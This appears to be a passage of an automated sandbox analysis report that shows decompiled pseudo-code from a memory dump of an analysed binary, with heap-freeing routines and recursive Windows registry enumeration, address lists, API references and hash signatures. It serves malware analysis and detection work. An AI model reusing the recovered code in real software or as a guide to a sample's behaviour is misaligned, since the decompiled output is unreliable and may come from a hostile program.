																										 *(_t463 + _t325 * 2 - 0x20c) =  *(_t463 + _t325 * 2 - 0x20c) & 0x000001ff;
																										_t325 = _t325 + 1;
																										__eflags = _t325 - 0x7f;
																									} while (_t325 < 0x7f);
																									_t327 = E00C95FA5( &_v536,  *0xca30d0, 0xfe);
																									_t473 = _t473 + 0xc;
																									__eflags = _t327;
																									_t409 = 0 | _t327 == 0x00000000;
																								}
																								_t458[1] = _t409;
																								 *_t458 =  *(_t433 + 8);
																							}
																							 *(_t433 + 0x18) = _t458[1];
																							goto L120;
																						}
																						__eflags = _t424;
																						if(_t424 != 0) {
																							 *_t458 =  *(_t458 + _t424 * 8);
																							_t458[1] =  *(_t458 + 4 + _t424 * 8);
																							 *(_t458 + _t424 * 8) = _v728;
																							 *(_t458 + 4 + _t424 * 8) = _v720;
																						}
																						goto L108;
																					}
																					L120:
																					_t302 = _t368 * 0xc;
																					_t199 = _t302 + 0xc9aed8; // 0xc77990
																					 *0xc991a4(_t433);
																					_t304 =  *((intOrPtr*)( *_t199))();
																					_t401 = _v736;
																					__eflags = _t304;
																					if(_t304 == 0) {
																						__eflags = _t401 - 0xca31a8;
																						if(_t401 == 0xca31a8) {
																							L127:
																							_t305 = _v724;
																						} else {
																							_t457 = _t368 + _t368;
																							__eflags = _t457;
																							asm("lock xadd [eax], ecx");
																							if(_t457 != 0) {
																								goto L127;
																							} else {
																								E00C7CA6E( *((intOrPtr*)(_t433 + 0x28 + _t457 * 8)));
																								E00C7CA6E( *((intOrPtr*)(_t433 + 0x24 + _t457 * 8)));
																								E00C7CA6E( *(_t433 + 0xa0 + _t368 * 4));
																								_t305 = _v724;
																								_t404 = _v712;
																								 *(_t305 + _t433) = _t404;
																								 *(_t433 + 0xa0 + _t368 * 4) = _t404;
																							}
																						}
																						_t402 = _v740;
																						 *_t402 = 1;
																						_t279 =  *(_t305 + _t433);
																						 *((intOrPtr*)(_t433 + 0x28 + (_t368 + _t368) * 8)) = _t402;
																					} else {
																						 *((intOrPtr*)(_v724 + _t433)) = _t401;
																						E00C7CA6E( *(_t433 + 0xa0 + _t368 * 4));
																						 *(_t433 + 0xa0 + _t368 * 4) = _v748;
																						E00C7CA6E(_v740);
																						 *(_t433 + 8) = _v752;
																						goto L122;
																					}
																					goto L123;
																				}
																			}
																		} else {
																			_t279 = _t424;
																			L123:
																			_pop(_t434);
																			_pop(_t450);
																			__eflags = _v16 ^ _t463;
																			_pop(_t369);
																			return E00C572B1(_t279, _t369, _v16 ^ _t463, _t424, _t434, _t450);
																		}
																		goto L135;
																	}
																	asm("sbb eax, eax");
																	_t282 = _t281 | 0x00000001;
																	__eflags = _t282;
																	goto L91;
																}
															} else {
																_t333 = _t448 + _t448;
																__eflags = _t333 - 0x106;
																if(_t333 >= 0x106) {
																	E00C573E1();
																	goto L82;
																} else {
																	 *((short*)(_t462 + _t333 - 0x10c)) = 0;
																	_t335 =  &_v276;
																	_push(_t335);
																	_push(_v456);
																	_push(_t429);
																	L83();
																	_t385 = _v452;
																	_t468 = _t470 + 0xc;
																	__eflags = _t335;
																	if(_t335 != 0) {
																		_t385 = _t385 + 1;
																		_v452 = _t385;
																	}
																	L54:
																	_t445 = _t363 + _t448 * 2;
																	_t266 =  *_t445 & 0x0000ffff;
																	_t424 = _t266;
																	__eflags = _t266;
																	if(_t266 != 0) {
																		_t445 = _t445 + 2;
																		__eflags = _t445;
																		_t424 =  *_t445 & 0x0000ffff;
																	}
																	__eflags = _t424;
																	if(_t424 != 0) {
																		continue;
																	} else {
																		__eflags = _t385;
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																			break;
																		}
																		goto L80;
																	}
																}
															}
														}
													} else {
														_t336 = 0x3b;
														__eflags =  *_t363 - _t336;
														if( *_t363 != _t336) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L135;
										}
										_t250 = 0;
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t445;
						if(_t445 == 0) {
							_t250 =  *(_t429 + (_t250 + 2 + _t250 + 2) * 8);
						} else {
							_push(_t445);
							_push(_t250);
							_push(_t429);
							L83();
						}
						L80:
						_pop(_t430);
						_pop(_t446);
						__eflags = _v12 ^ _t462;
						_pop(_t364);
						return E00C572B1(_t250, _t364, _v12 ^ _t462, _t424, _t430, _t446);
					}
				}
				L135:
			}

0x00c78bb8
0x00c78bc0
0x00c78bc1
0x00c78bca
0x00c78bd2
0x00c78bd4
0x00c78bd6
0x00c78bd9
0x00c78cf6
0x00c78cf9
0x00c78bdf
0x00c78bdf
0x00c78be0
0x00c78be3
0x00c78be6
0x00c78be8
0x00c78beb
0x00c78bee
0x00c78bf0
0x00c78bf3
0x00c78bf8
0x00c78c06
0x00c78c10
0x00c78c13
0x00c78c16
0x00c78c16
0x00c78c21
0x00c78c26
0x00c78c2b
0x00000000
0x00c78c31
0x00c78c31
0x00c78c34
0x00c78c37
0x00c78c39
0x00c78c3c
0x00c78c3e
0x00c78c3e
0x00c78c3e
0x00c78c41
0x00c78c41
0x00c78c41
0x00c78c47
0x00000000
0x00000000
0x00c78c4c
0x00c78c63
0x00c78c63
0x00c78c4e
0x00c78c4e
0x00c78c56
0x00000000
0x00c78c58
0x00c78c58
0x00c78c5b
0x00c78c61
0x00000000
0x00000000
0x00000000
0x00000000
0x00c78c61
0x00c78c56
0x00c78c6c
0x00c78c6c
0x00c78c71
0x00c78c76
0x00c78c7a
0x00c78c86
0x00c78c89
0x00c78c8c
0x00c78c96
0x00c78c9e
0x00c78ca6
0x00000000
0x00c78cac
0x00c78cb0
0x00c78cfb
0x00c78d04
0x00c78d07
0x00c78d09
0x00c78d0d
0x00c78d11
0x00c78d16
0x00c78d1b
0x00c78d11
0x00c78d1f
0x00c78d21
0x00c78d23
0x00c78d27
0x00c78d28
0x00c78d2d
0x00c78d32
0x00c78d28
0x00c78d35
0x00c78d38
0x00c78d3b
0x00c78d3e
0x00c78d41
0x00c78cb2
0x00c78cb5
0x00c78cb8
0x00c78cba
0x00c78cbe
0x00c78cc2
0x00c78cc7
0x00c78ccc
0x00c78cc2
0x00c78cd2
0x00c78cd4
0x00c78cd9
0x00c78cde
0x00c78ce3
0x00c78cd9
0x00c78ce4
0x00c78ce8
0x00c78ceb
0x00c78cef
0x00c78cf2
0x00c78cf2
0x00000000
0x00c78cf5
0x00000000
0x00c78ca6
0x00c78c67
0x00c78c69
0x00c78c69
0x00000000
0x00c78c69
0x00c78d48
0x00c78d49
0x00c78d4a
0x00c78d4b
0x00c78d4c
0x00c78d4d
0x00c78d52
0x00c78d56
0x00c78d58
0x00c78d5e
0x00c78d65
0x00c78d68
0x00c78d6b
0x00c78d6c
0x00c78d6d
0x00c78d70
0x00c78d71
0x00c78d74
0x00c78d7a
0x00c78d7c
0x00c78da1
0x00c78dab
0x00c78db1
0x00c78db3
0x00c78db9
0x00c78dbb
0x00c7901b
0x00c7901c
0x00000000
0x00c78dc1
0x00c78dc1
0x00c78dc5
0x00c78f33
0x00c78f50
0x00c78f55
0x00c78f58
0x00c78f5a
0x00c78f60
0x00c78f60
0x00c78f62
0x00c78f65
0x00c78f67
0x00c78f6d
0x00c78f6d
0x00c78f6f
0x00c78ff6
0x00c78ff6
0x00c78f75
0x00c78f75
0x00c78f77
0x00c78f7d
0x00c78f80
0x00c78f83
0x00c78f89
0x00000000
0x00000000
0x00c78f8b
0x00c78f8f
0x00c78fb8
0x00c78fb8
0x00c78fba
0x00c78f91
0x00c78f91
0x00c78f95
0x00c78f99
0x00c78fa0
0x00c78fa6
0x00000000
0x00c78fa8
0x00c78fa8
0x00c78fab
0x00c78fae
0x00c78fb6
0x00000000
0x00000000
0x00000000
0x00000000
0x00c78fb6
0x00c78fa6
0x00c78fc5
0x00c78fc5
0x00c78fc7
0x00c78ff5
0x00c78ff5
0x00000000
0x00c78fc9
0x00c78fc9
0x00c78fcf
0x00c78fd0
0x00c78fd1
0x00c78fd2
0x00c78fd7
0x00c78fdd
0x00c78fe0
0x00c78fe2
0x00c78fe9
0x00c78feb
0x00c78fed
0x00c78fe4
0x00c78fe4
0x00c78fe5
0x00000000
0x00c78fe5
0x00c78fe2
0x00000000
0x00c78fc7
0x00c78fbe
0x00c78fc0
0x00c78fc3
0x00c78fc3
0x00000000
0x00c78fc3
0x00c78ffc
0x00c78ffc
0x00c78ffd
0x00c79000
0x00c79006
0x00c79006
0x00c7900f
0x00c79011
0x00000000
0x00c79013
0x00c79013
0x00c79015
0x00000000
0x00c79017
0x00c79017
0x00c79017
0x00c79015
0x00c79011
0x00000000
0x00c78dcb
0x00c78dcb
0x00c78dd0
0x00000000
0x00c78dd6
0x00c78dd6
0x00c78ddb
0x00000000
0x00c78de1
0x00c78de1
0x00c78de7
0x00c78dec
0x00c78dee
0x00c78df5
0x00c78df6
0x00c78df8
0x00000000
0x00000000
0x00c78dfe
0x00c78dfe
0x00c78e02
0x00c78e08
0x00000000
0x00c78e0e
0x00c78e10
0x00c78e11
0x00c78e14
0x00000000
0x00c78e1a
0x00c78e1a
0x00c78e20
0x00c78e25
0x00c78e2f
0x00c78e33
0x00c78e38
0x00c78e3b
0x00c78e3d
0x00000000
0x00c78e3f
0x00c78e3f
0x00c78e41
0x00c78e44
0x00c78e44
0x00c78e47
0x00c78e4a
0x00c78e4a
0x00c78e55
0x00c78e57
0x00c78e59
0x00000000
0x00000000
0x00c78e59
0x00000000
0x00c78e5b
0x00c78e5b
0x00c78e61
0x00c78e64
0x00c78e64
0x00c78e72
0x00c78e7b
0x00c78e80
0x00c78e86
0x00c78e89
0x00c78e8a
0x00c78e8c
0x00c78e9a
0x00c78e9a
0x00c78ea1
0x00c78f02
0x00000000
0x00c78ea3
0x00c78ea3
0x00c78eb1
0x00c78eb6
0x00c78eb9
0x00c78ebb
0x00c79036
0x00c79038
0x00c79039
0x00c7903a
0x00c7903b
0x00c7903c
0x00c7903d
0x00c79042
0x00c79045
0x00c79046
0x00c7904e
0x00c79055
0x00c79058
0x00c79059
0x00c7905c
0x00c79060
0x00c79061
0x00c79064
0x00c79074
0x00c79097
0x00c7909c
0x00c7909f
0x00c790a1
0x00c79379
0x00c79379
0x00c79379
0x00000000
0x00c790a7
0x00c790a7
0x00c790aa
0x00c790aa
0x00c790ad
0x00c790b3
0x00c790b9
0x00c790bc
0x00c790be
0x00c790c1
0x00c790c8
0x00c790cb
0x00c790d1
0x00000000
0x00000000
0x00c790d3
0x00c790d7
0x00c79100
0x00c79100
0x00c790d9
0x00c790d9
0x00c790dd
0x00c790e1
0x00c790e8
0x00c790ee
0x00000000
0x00c790f0
0x00c790f0
0x00c790f3
0x00c790f6
0x00c790fe
0x00000000
0x00000000
0x00000000
0x00000000
0x00c790fe
0x00c790ee
0x00c7910d
0x00c7910d
0x00c7910f
0x00c79118
0x00c7911e
0x00c79121
0x00c79121
0x00c79124
0x00c79127
0x00c79127
0x00c79137
0x00c79145
0x00c7914a
0x00c79151
0x00c79153
0x00000000
0x00c79159
0x00c7915f
0x00c7916c
0x00c79175
0x00c79188
0x00c7918f
0x00c79194
0x00c79197
0x00c79199
0x00c793f9
0x00c793ff
0x00c79400
0x00c79401
0x00c79402
0x00c79403
0x00c79404
0x00c79409
0x00c7940c
0x00c79413
0x00c79413
0x00c79416
0x00c7942c
0x00c7942c
0x00c7942f
0x00c79418
0x00c79418
0x00c79418
0x00c7941b
0x00c79429
0x00c7942b
0x00c7941d
0x00c7941d
0x00c79420
0x00000000
0x00c79422
0x00c79424
0x00c79426
0x00c79426
0x00c79420
0x00c7941b
0x00c7919f
0x00c7919f
0x00c791ad
0x00c791b0
0x00c791c6
0x00c791cd
0x00c791d3
0x00c791b2
0x00c791b2
0x00c791ba
0x00000000
0x00c791bc
0x00c791bc
0x00c791c2
0x00c791c2
0x00c791ba
0x00c791d9
0x00c791e0
0x00c791e3
0x00c79303
0x00c79306
0x00c79313
0x00c79316
0x00c7931e
0x00c7931e
0x00c79308
0x00c7930e
0x00c7930e
0x00c791e9
0x00c791e9
0x00c791ef
0x00c791f7
0x00c791f9
0x00c791fc
0x00c79205
0x00c7920e
0x00c79214
0x00c79217
0x00c79219
0x00000000
0x00000000
0x00c7921b
0x00c79221
0x00c79222
0x00c7922d
0x00c79235
0x00c7923d
0x00c79240
0x00c79243
0x00c79249
0x00c7924f
0x00c79255
0x00c7925b
0x00c7925e
0x00000000
0x00000000
0x00c79260
0x00c79285
0x00c79285
0x00c79288
0x00c792a5
0x00c792aa
0x00c792ad
0x00c792af
0x00c792ed
0x00c792b1
0x00c792b1
0x00c792b7
0x00c792bc
0x00c792c4
0x00c792c5
0x00c792c5
0x00c792dc
0x00c792e3
0x00c792e6
0x00c792e8
0x00c792e8
0x00c792f3
0x00c792f9
0x00c792f9
0x00c792fe
0x00000000
0x00c792fe
0x00c79262
0x00c79264
0x00c79269
0x00c7926f
0x00c79278
0x00c79281
0x00c79281
0x00000000
0x00c79264
0x00c79321
0x00c79321
0x00c79325
0x00c7932d
0x00c79333
0x00c79336
0x00c7933c
0x00c7933e
0x00c7938a
0x00c79390
0x00c793dc
0x00c793dc
0x00c79392
0x00c79397
0x00c79397
0x00c7939d
0x00c793a1
0x00000000
0x00c793a3
0x00c793a7
0x00c793b0
0x00c793bc
0x00c793c1
0x00c793ca
0x00c793d0
0x00c793d3
0x00c793d3
0x00c793a1
0x00c793e2
0x00c793ea
0x00c793f0
0x00c793f3
0x00c79340
0x00c79346
0x00c79350
0x00c79362
0x00c79369
0x00c79376
0x00000000
0x00c79376
0x00000000
0x00c7933e
0x00c79199
0x00c79111
0x00c79111
0x00c7937b
0x00c7937e
0x00c7937f
0x00c79380
0x00c79382
0x00c79389
0x00c79389
0x00000000
0x00c7910f
0x00c79108
0x00c7910a
0x00c7910a
0x00000000
0x00c7910a
0x00c78ec1
0x00c78ec1
0x00c78ec4
0x00c78ec9
0x00c79031
0x00000000
0x00c78ecf
0x00c78ed1
0x00c78ed9
0x00c78edf
0x00c78ee0
0x00c78ee6
0x00c78ee7
0x00c78eec
0x00c78ef2
0x00c78ef5
0x00c78ef7
0x00c78ef9
0x00c78efa
0x00c78efa
0x00c78f08
0x00c78f08
0x00c78f0b
0x00c78f0e
0x00c78f10
0x00c78f13
0x00c78f15
0x00c78f15
0x00c78f18
0x00c78f18
0x00c78f1b
0x00c78f1e
0x00000000
0x00c78f24
0x00c78f24
0x00c78f26
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00c78f26
0x00c78f1e
0x00c78ec9
0x00c78ebb
0x00c78e8e
0x00c78e90
0x00c78e91
0x00c78e94
0x00000000
0x00000000
0x00000000
0x00000000
0x00c78e94
0x00c78e8c
0x00c78e14
0x00000000
0x00c78e08
0x00c78f2c
0x00000000
0x00c78f2c
0x00c78ddb
0x00c78dd0
0x00c78dc5
0x00c78d7e
0x00c78d7e
0x00c78d80
0x00c78d97
0x00c78d82
0x00c78d82
0x00c78d83
0x00c78d84
0x00c78d85
0x00c78d8a
0x00c79022
0x00c79025
0x00c79026
0x00c79027
0x00c79029
0x00c79030
0x00c79030
0x00c78d7c
0x00000000

APIs

Part of subcall function 00C7CAA8: RtlAllocateHeap.NTDLL(00000000,?,?,?,00C87E19,00CA19F8,00000018,00000003,00CA1A18,00000028,00C7A830,00000016,00C7B454), ref: 00C7CADA

_free.LIBCMT ref: 00C78CC7
_free.LIBCMT ref: 00C78CDE
_free.LIBCMT ref: 00C78CFB
_free.LIBCMT ref: 00C78D16
_free.LIBCMT ref: 00C78D2D

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 552e53db023fc5d458fd9f4ff9864632f3ff123d0213c000fa4ce36aa9eb3d3e
Instruction ID: 1bb05bb7c61e407b7922b3563c2767f82867426993489405bf22aafeb55a0062
Opcode Fuzzy Hash: 552e53db023fc5d458fd9f4ff9864632f3ff123d0213c000fa4ce36aa9eb3d3e
Instruction Fuzzy Hash: B3511472A00305AFDB21DF69CC85B6A77F4EF58720F108569EA1DD7290EB31DA04DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C53E90, Relevance: 7.7, APIs: 5, Instructions: 170
registryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00C53E90(void* _a4, short* _a8, WCHAR* _a12, intOrPtr _a16) {
				long _v8;
				int _v12;
				char* _v16;
				int _v20;
				short* _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				int _v44;
				WCHAR* _v48;
				short _v50;
				short _v52;
				short _v54;
				char _v56;
				char* _t63;
				short* _t67;
				WCHAR* _t74;
				char* _t95;
				intOrPtr _t121;
				void* _t124;
				void* _t125;
				void* _t126;

				_v12 = 0x800;
				_v56 = 0x25;
				_v54 = 0x31;
				_v52 = 0xa;
				_v50 = 0;
				_push(_v12);
				_t63 = E00C53330(_v12);
				_t125 = _t124 + 4;
				_v16 = _t63;
				while(1) {
					_v20 = _v12;
					_t99 = _a4;
					_v8 = RegQueryValueExW(_a4, _a8, 0,  &_v40, _v16,  &_v20);
					if(_v8 != 0xea) {
						break;
					}
					_v12 = _v20;
					_push(_v12);
					_push(_v16);
					_t95 = E00C53350(_v16);
					_t125 = _t125 + 8;
					_v16 = _t95;
				}
				if(_v8 == 0) {
					_push(_a12);
					E00C53630( &_v56);
					_t99 = _a8;
					E00C53650(_a8, _v40, _v16, _v20);
					E00C53630(0xc99734);
					_t125 = _t125 + 0x1c;
					_t121 =  *0xca3a70; // 0x0
					 *0xca3a70 = _t121 + 1;
				}
				if(_a16 != 0) {
					_push(0x202);
					_t67 = E00C53330(_t99);
					_t126 = _t125 + 4;
					_v24 = _t67;
					_v44 = lstrlenW(_a12);
					_v28 = 0;
					while(1) {
						_v32 = 0x101;
						_v8 = RegEnumKeyExW(_a4, _v28, _v24,  &_v32, 0, 0, 0, 0);
						if(_v8 != 0) {
							break;
						}
						_t74 = E00C51D90(_v24, _a12, _v44, _v24, _v32);
						_t126 = _t126 + 0x10;
						_v48 = _t74;
						if(RegOpenKeyExW(_a4, _v24, 0, 0x20019,  &_v36) == 0) {
							E00C53E90(_v36, _a8, _v48, _a16);
							_t126 = _t126 + 0x10;
							RegCloseKey(_v36);
						}
						_v28 = _v28 + 1;
					}
					return 0;
				}
				if(_v8 != 2) {
					L13:
					return 0;
				}
				if(_a8 == 0 || ( *_a8 & 0x0000ffff) == 0) {
					_push(_a12);
					E00C53630( &_v56);
					E00C53650(0, 1, 0, 0);
					goto L13;
				} else {
					_push(0x6d);
					E00C53610();
					return 1;
				}
			}

0x00c53e96
0x00c53ea2
0x00c53eab
0x00c53eb4
0x00c53eba
0x00c53ec1
0x00c53ec2
0x00c53ec7
0x00c53eca
0x00c53ecd
0x00c53ed0
0x00c53ee5
0x00c53eef
0x00c53ef9
0x00000000
0x00000000
0x00c53efe
0x00c53f04
0x00c53f08
0x00c53f09
0x00c53f0e
0x00c53f11
0x00c53f18
0x00c53f1e
0x00c53f23
0x00c53f28
0x00c53f3c
0x00c53f40
0x00c53f4d
0x00c53f52
0x00c53f55
0x00c53f5e
0x00c53f5e
0x00c53f68
0x00c53fbb
0x00c53fc0
0x00c53fc5
0x00c53fc8
0x00c53fd5
0x00c53fd8
0x00c53fdf
0x00c53fdf
0x00c54004
0x00c5400b
0x00000000
0x00000000
0x00c5401d
0x00c54022
0x00c54025
0x00c54043
0x00c54055
0x00c5405a
0x00c54061
0x00c54061
0x00c5406d
0x00c54074
0x00000000
0x00c54079
0x00c53f6e
0x00c53fb4
0x00000000
0x00c53fb4
0x00c53f74
0x00c53f97
0x00c53f9c
0x00c53fac
0x00000000
0x00c53f80
0x00c53f80
0x00c53f82
0x00000000
0x00c53f8a

APIs

RegQueryValueExW.ADVAPI32(00000800,?,00000000,?,?,?), ref: 00C53EE9

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 2f6ac885de6f07b820d4ad0741254cbd321556bc5679eeae924153a368fea1ce
Instruction ID: 6816766e02c37f27dadb8de978d13d9a9237fc09b60473adc75c84bfa5df069b
Opcode Fuzzy Hash: 2f6ac885de6f07b820d4ad0741254cbd321556bc5679eeae924153a368fea1ce
Instruction Fuzzy Hash: CB519DB9E00248ABDF04DFD4D845BEEB7B4BF48305F108559FA15A7281E631AB88CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00C52650, Relevance: 7.7, APIs: 5, Instructions: 162
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00C52650(intOrPtr _a4, void* _a8, WCHAR* _a12) {
				int _v8;
				int _v12;
				signed int _v16;
				int _v20;
				char* _v24;
				short* _v28;
				long _v32;
				short* _v36;
				int _v40;
				int _v44;
				void* _v48;
				int _v52;
				int _v56;
				intOrPtr _v60;
				char* _t73;
				short* _t78;
				intOrPtr _t85;
				short* _t94;
				char* _t96;
				void* _t133;
				void* _t136;
				void* _t137;

				_v16 = 0x100;
				_v12 = 0x800;
				E00C525D0(_a4, _a4, _a12);
				_push(_v16 << 1);
				_v28 = E00C53330(_a4);
				_push(_v12);
				_t73 = E00C53330(_a4);
				_t136 = _t133 + 0x10;
				_v24 = _t73;
				_v8 = 0;
				while(1) {
					_v40 = _v16;
					_v20 = _v12;
					_t103 = _v28;
					_v32 = RegEnumValueW(_a8, _v8, _v28,  &_v40, 0,  &_v52, _v24,  &_v20);
					if(_v32 != 0) {
						goto L3;
					}
					E00C52320(_a4, _v28, _v40, _v52, _v24, _v20);
					_t136 = _t136 + 0x18;
					_v8 = _v8 + 1;
					L9:
					continue;
					L3:
					if(_v32 == 0xea) {
						if(_v20 <= _v12) {
							_v16 = _v16 << 1;
							_push(_v16 << 1);
							_push(_v28);
							_t94 = E00C53350(_v16 << 1);
							_t136 = _t136 + 8;
							_v28 = _t94;
						} else {
							_v12 = _v20;
							_push(_v12);
							_push(_v24);
							_t96 = E00C53350(_v12);
							_t136 = _t136 + 8;
							_v24 = _t96;
						}
						goto L9;
					}
					_push(0x202);
					_t78 = E00C53330(_t103);
					_t137 = _t136 + 4;
					_v36 = _t78;
					_v56 = lstrlenW(_a12);
					_v8 = 0;
					while(1) {
						_v44 = 0x101;
						_v32 = RegEnumKeyExW(_a8, _v8, _v36,  &_v44, 0, 0, 0, 0);
						if(_v32 != 0) {
							break;
						}
						_t85 = E00C51D90(_v56, _a12, _v56, _v36, _v44);
						_t137 = _t137 + 0x10;
						_v60 = _t85;
						if(RegOpenKeyExW(_a8, _v36, 0, 0x20019,  &_v48) == 0) {
							E00C52650(_a4, _v48, _v60);
							_t137 = _t137 + 0xc;
							RegCloseKey(_v48);
						}
						_v8 = _v8 + 1;
					}
					return 0;
				}
			}

0x00c52656
0x00c5265d
0x00c5266c
0x00c52679
0x00c52682
0x00c52688
0x00c52689
0x00c5268e
0x00c52691
0x00c52694
0x00c5269b
0x00c5269e
0x00c526a4
0x00c526b9
0x00c526cb
0x00c526d2
0x00000000
0x00000000
0x00c526ec
0x00c526f1
0x00c526fa
0x00c5274c
0x00000000
0x00c526ff
0x00c52706
0x00c5270e
0x00c52730
0x00c52738
0x00c5273c
0x00c5273d
0x00c52742
0x00c52745
0x00c52710
0x00c52713
0x00c52719
0x00c5271d
0x00c5271e
0x00c52723
0x00c52726
0x00c52726
0x00000000
0x00c52748
0x00c52751
0x00c52756
0x00c5275b
0x00c5275e
0x00c5276b
0x00c5276e
0x00c52775
0x00c52775
0x00c5279a
0x00c527a1
0x00000000
0x00000000
0x00c527b3
0x00c527b8
0x00c527bb
0x00c527d9
0x00c527e7
0x00c527ec
0x00c527f3
0x00c527f3
0x00c527ff
0x00c52806
0x00c52810
0x00c52810

APIs

Part of subcall function 00C525D0: lstrlenW.KERNEL32(?), ref: 00C525D8
Part of subcall function 00C525D0: lstrlenW.KERNEL32(?,[%s],?), ref: 00C525FB
Part of subcall function 00C525D0: _swprintf.LIBCMTD ref: 00C52609

RegEnumValueW.ADVAPI32(00000100,00000000,?,?,00000000,?,?,?), ref: 00C526C5
lstrlenW.KERNEL32(?), ref: 00C52765
RegEnumKeyExW.ADVAPI32(00000100,00000000,?,00000101,00000000,00000000,00000000,00000000), ref: 00C52794
RegOpenKeyExW.ADVAPI32(00000100,?,00000000,00020019,?), ref: 00C527D1
RegCloseKey.ADVAPI32(?), ref: 00C527F3

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$Enum$CloseOpenValue_swprintf
String ID:
API String ID: 1737753471-0
Opcode ID: 8d79691bd6a1786c0429df30d123fa9cdd858a197914659e3fd5e588394c6f90
Instruction ID: 4621f7a6f8f9a2805354198d7b2e086a724b63dbc36697b2d8600ac4814f6bea
Opcode Fuzzy Hash: 8d79691bd6a1786c0429df30d123fa9cdd858a197914659e3fd5e588394c6f90
Instruction Fuzzy Hash: 7D510BB9D00208EFDB04DFD8D885FEEB7B9BB4C301F108559FA15A7240D634AA45DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C8443F, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C8443F(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0xca38b8; // 0xca390c
					if(_t23 != 0) {
						E00C7CA6E(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0xca38bc; // 0xca4cbc
					if(_t24 != 0) {
						E00C7CA6E(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0xca38c0; // 0xca4cbc
					if(_t25 != 0) {
						E00C7CA6E(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0xca38e8; // 0xca3910
					if(_t26 != 0) {
						E00C7CA6E(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0xca38ec; // 0xca4cc0
					if(_t27 != 0) {
						return E00C7CA6E(_t6);
					}
				}
				return _t6;
			}

0x00c84445
0x00c8444a
0x00c8444e
0x00c84454
0x00c84457
0x00c8445c
0x00c84460
0x00c84466
0x00c84469
0x00c8446e
0x00c84472
0x00c84478
0x00c8447b
0x00c84480
0x00c84484
0x00c8448a
0x00c8448d
0x00c84492
0x00c84493
0x00c84496
0x00c8449c
0x00000000
0x00c844a4
0x00c8449c
0x00c844a7

APIs

_free.LIBCMT ref: 00C84457

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C84469
_free.LIBCMT ref: 00C8447B
_free.LIBCMT ref: 00C8448D
_free.LIBCMT ref: 00C8449F

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 435f74b7604ad06ba8518cad556c99af9789a751266c96caabb844d294d37d2a
Instruction ID: 73aee6107d445ed2c88be7ce33ad9bdaf2311eb16187882f8ed2f7b43be015d2
Opcode Fuzzy Hash: 435f74b7604ad06ba8518cad556c99af9789a751266c96caabb844d294d37d2a
Instruction Fuzzy Hash: FCF062725002466BC624FF54F9D1E0E73EDAB81B28364880AF058E7580CB35FE80B758

Uniqueness

Uniqueness Score: -1.00%

Function 00C76783, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00C76783(void* __edx, intOrPtr _a4) {
				signed int _v8;
				struct HINSTANCE__* _v12;
				char _v16;
				WCHAR* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t25;
				WCHAR** _t35;
				WCHAR** _t36;
				WCHAR* _t39;
				WCHAR* _t41;
				WCHAR* _t42;
				intOrPtr* _t43;
				WCHAR** _t44;
				intOrPtr _t47;
				WCHAR* _t48;
				WCHAR* _t53;
				void* _t56;
				WCHAR** _t57;
				WCHAR* _t63;
